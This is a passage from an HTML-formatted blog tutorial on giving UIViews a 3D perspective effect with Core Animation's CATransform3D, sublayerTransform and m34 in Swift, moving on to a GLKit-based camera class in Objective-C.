                                                              &lt;span class="nv"&gt;views&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;viewDict&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;contentView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addConstraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;NSLayoutConstraint&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;constraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;withVisualFormat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"V:|-[imageView]-|"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                              &lt;span class="nv"&gt;options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
                                                              &lt;span class="nv"&gt;metrics&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                              &lt;span class="nv"&gt;views&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;viewDict&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="nf"&gt;addConstraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;NSLayoutConstraint&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;constraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;withVisualFormat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"H:|-[contentView]-|"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                  &lt;span class="nv"&gt;options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
                                                  &lt;span class="nv"&gt;metrics&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                  &lt;span class="nv"&gt;views&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;viewDict&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nf"&gt;addConstraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;NSLayoutConstraint&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;constraints&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;withVisualFormat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"V:|-[contentView]-|"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                  &lt;span class="nv"&gt;options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[],&lt;/span&gt;
                                                  &lt;span class="nv"&gt;metrics&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                                  &lt;span class="nv"&gt;views&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;viewDict&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’m just centering all the subview. This is just me being lazy. You
should probably add proper constraints to keep the image view aspect
correct.&lt;/p&gt;

&lt;p&gt;Now coming to the interesting part. Applying perspective.&lt;/p&gt;

&lt;p&gt;We just call the &lt;code class="language-plaintext highlighter-rouge"&gt;calculatePerspectiveTransform()&lt;/code&gt; to do all the
calculation and return back a &lt;code class="language-plaintext highlighter-rouge"&gt;CATransform3D&lt;/code&gt; object that we can simply
apply to the &lt;code class="language-plaintext highlighter-rouge"&gt;CALayer&lt;/code&gt; of our &lt;code class="language-plaintext highlighter-rouge"&gt;contentView&lt;/code&gt;. As for the calculation let’s
simply copy-paste the code from Core Animation Programming Guide to
calculate the transform.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;calculatePerspectiveTransform&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;CATransform3D&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;eyePosition&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;Float&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;contentTransform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;CATransform3D&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CATransform3DIdentity&lt;/span&gt;
    &lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;m34&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CGFloat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;eyePosition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;contentTransform&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;applyPerspective&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;contentView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sublayerTransform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;calculatePerspectiveTransform&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s it. Give it a run.&lt;/p&gt;

&lt;p&gt;&lt;img alt="img" src="https://whackylabs.com/assets/2014-10-30-add-some-perspective-to-your-uiviews/1.png" /&gt;&lt;/p&gt;

&lt;p&gt;If for now we just ignore the distortion of the image, which is a
constraints issue. There are some other questions to be answered first.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;What is sublayerTransform?&lt;/li&gt;
  &lt;li&gt;Why is eyePosition 10?&lt;/li&gt;
  &lt;li&gt;What’s up with m34?&lt;/li&gt;
  &lt;li&gt;And most importantly, where’s the perspective?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Turns out, the snippet provided by the Core Animation Programming Guide
just adds the perspective. But, in order to see it in action you still
have to modify the transform a bit more. Let’s add a little translation
to the transform.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;calculatePerspectiveTransform&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;CATransform3D&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;eyePosition&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;Float&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;contentTransform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;CATransform3D&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CATransform3DIdentity&lt;/span&gt;
    &lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;m34&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CGFloat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;eyePosition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;contentTransform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CATransform3DTranslate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;contentTransform&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="img" src="https://whackylabs.com/assets/2014-10-30-add-some-perspective-to-your-uiviews/2.png" /&gt;&lt;/p&gt;

&lt;p&gt;Good. But from this angle this looks just as if the image has been
scaled down. Why not rotate it along x axis.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;calculatePerspectiveTransform&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;CATransform3D&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;eyePosition&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;Float&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;contentTransform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;CATransform3D&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CATransform3DIdentity&lt;/span&gt;
    &lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;m34&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CGFloat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;eyePosition&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;contentTransform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CATransform3DRotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;CGFloat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;GLKMathDegreesToRadians&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;contentTransform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CATransform3DTranslate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;contentTransform&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="img" src="https://whackylabs.com/assets/2014-10-30-add-some-perspective-to-your-uiviews/3.png" /&gt;&lt;/p&gt;

&lt;p&gt;Wow! Now we have some perspective. We can now either just tinker with
the magic numbers until we get the desired effect, or we can get a
deeper understanding of things and have a better control over things.&lt;/p&gt;

&lt;p&gt;I prefer the latter. So let’s begin by answering some of the questions
from above.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is sublayerTransform?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you look at the interface of &lt;code class="language-plaintext highlighter-rouge"&gt;CALayer&lt;/code&gt;, you’ll see there are two &lt;code class="language-plaintext highlighter-rouge"&gt;CATransform3D&lt;/code&gt; types.&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="kt"&gt;CALayer&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;NSObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;NSCoding&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;CAMediaTiming&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/* other stuff */&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;CATransform3D&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;sublayerTransform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;CATransform3D&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When you modify &lt;code class="language-plaintext highlighter-rouge"&gt;transform&lt;/code&gt;, the layer’s own content gets modified.
Whereas, when you modify the &lt;code class="language-plaintext highlighter-rouge"&gt;sublayerTransform&lt;/code&gt;, the sublayers get
modified, while the receiver’s &lt;code class="language-plaintext highlighter-rouge"&gt;layer&lt;/code&gt; remains untouched.&lt;/p&gt;

&lt;p&gt;If you replace &lt;code class="language-plaintext highlighter-rouge"&gt;sublayerTransform&lt;/code&gt; with &lt;code class="language-plaintext highlighter-rouge"&gt;transform&lt;/code&gt;&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;contentView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;transform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;calculatePerspectiveTransform&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You would get something like&lt;/p&gt;

&lt;p&gt;&lt;img alt="img" src="https://whackylabs.com/assets/2014-10-30-add-some-perspective-to-your-uiviews/4.png" /&gt;&lt;/p&gt;

&lt;p&gt;See what I mean? Our &lt;code class="language-plaintext highlighter-rouge"&gt;contentView&lt;/code&gt; which had a background color yellow also got modified. Let’s undo that code change. We need the &lt;code class="language-plaintext highlighter-rouge"&gt;contentView&lt;/code&gt; unmodified for things like reading touch and gestures.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is eyePosition?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For the code above, it’s enough to understand that &lt;code class="language-plaintext highlighter-rouge"&gt;eyePosition&lt;/code&gt; here just means the degree of perspective you want to have. If it is some larger value, the effect is less and if it is a smaller value, the effect more.&lt;/p&gt;

&lt;p&gt;We shall look behind the maths of this in the next session with linear algebra. But for now you can try experimenting with values like &lt;code class="language-plaintext highlighter-rouge"&gt;5&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;50&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;500&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;5000&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;50000&lt;/code&gt; and see the changes yourself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What’s up with m34?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There are mostly two kind of projections we see in computer graphics, the orthogonal projection and the perspective projection.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Orthogonal&lt;/em&gt; is the default projection used by any 2D system like &lt;code class="language-plaintext highlighter-rouge"&gt;UIKit&lt;/code&gt;. Whereas the &lt;em&gt;perspective&lt;/em&gt; projection is used by all 3D systems, like a 3D game. The main difference is that in orthogonal projection the distance from the
viewer is not accounted, or in other words the z axis is totally ignored.&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;CATransform3D&lt;/code&gt; transform is a 4×4 matrix. It works in a homogenous coordinate system. We will dive deeper into homogenous coordinate system in a later session. For now it’s enough to understand that the purpose of this matrix is to convert your points from a 3D space to a screen space which is in 2D.&lt;/p&gt;

&lt;p&gt;The &lt;code class="language-plaintext highlighter-rouge"&gt;m34&lt;/code&gt;, or the value at 3rd row, 4th column of the matrix is the biggest hint whether the projection matrix is an orthogonal or a perspective. An orthogonal projection matrix typically has &lt;code class="language-plaintext highlighter-rouge"&gt;m34&lt;/code&gt; as 0 while a perspective matrix has some negative value here, typically &lt;code class="language-plaintext highlighter-rouge"&gt;-1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If in the above code, you simply set the value of &lt;code class="language-plaintext highlighter-rouge"&gt;m34&lt;/code&gt; as &lt;code class="language-plaintext highlighter-rouge"&gt;0&lt;/code&gt;, you’ll notice that all the perspective effect is gone!&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;calculatePerspectiveTransform&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;CATransform3D&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;eyePosition&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;Float&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;5000.0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;contentTransform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;CATransform3D&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CATransform3DIdentity&lt;/span&gt;
    &lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;m34&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="n"&gt;contentTransform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CATransform3DRotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;CGFloat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;GLKMathDegreesToRadians&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;contentTransform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;CATransform3DTranslate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;contentTransform&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="img" src="https://whackylabs.com/assets/2014-10-30-add-some-perspective-to-your-uiviews/5.png" /&gt;&lt;/p&gt;

&lt;p&gt;Of course, the view is scaled, because this isn’t a aspect correct orthogonal matrix, we’re still performing the rotation and the translation on the matrix. But the main perspective effect is gone.&lt;/p&gt;

&lt;p&gt;With the basic questions answered, let’s now build a proper projection system. I’ll be using the &lt;code class="language-plaintext highlighter-rouge"&gt;GLKit&lt;/code&gt;, because it has all the things we need to build the system we want. Since, as of this writing &lt;code class="language-plaintext highlighter-rouge"&gt;GLKit&lt;/code&gt; isn’t available in Swift, we might have to do this work in Objective-C and return the &lt;code class="language-plaintext highlighter-rouge"&gt;CATransform3D&lt;/code&gt; object back to our Swift class, where we can simply apply it to our &lt;code class="language-plaintext highlighter-rouge"&gt;contentView&lt;/code&gt;.&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Transform.h&lt;/span&gt;
&lt;span class="k"&gt;@interface&lt;/span&gt; &lt;span class="nc"&gt;Transform&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;NSObject&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readonly&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;CATransform3D&lt;/span&gt; &lt;span class="n"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;@end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;// PerspectiveView.swift&lt;/span&gt;
&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;applyPerspective&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;contentTransform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;Transform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;Transform&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;contentView&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sublayerTransform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;contentTransform&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;transform&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;First we need a &lt;code class="language-plaintext highlighter-rouge"&gt;Camera&lt;/code&gt; class. Think of a camera. In a camera you control two things. First is the lens setting like the field of view, focus, aperture. The kind of things you usually set once before you begin the filming. The second is the camera motion, like the direction you want to point, rotating the camera and so forth.&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="cm"&gt;/** Camera object */&lt;/span&gt;
&lt;span class="k"&gt;@interface&lt;/span&gt; &lt;span class="nc"&gt;Camera&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;NSObject&lt;/span&gt;

&lt;span class="cm"&gt;/* lens */&lt;/span&gt;
&lt;span class="c1"&gt;// field of view - in radians&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readwrite&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;fov&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readwrite&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;aspectRatio&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// near and far planes&lt;/span&gt;
&lt;span class="k"&gt;@property&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonatomic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;readwrite&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;nearZ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;farZ&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/* motion  */&lt;/span&gt;
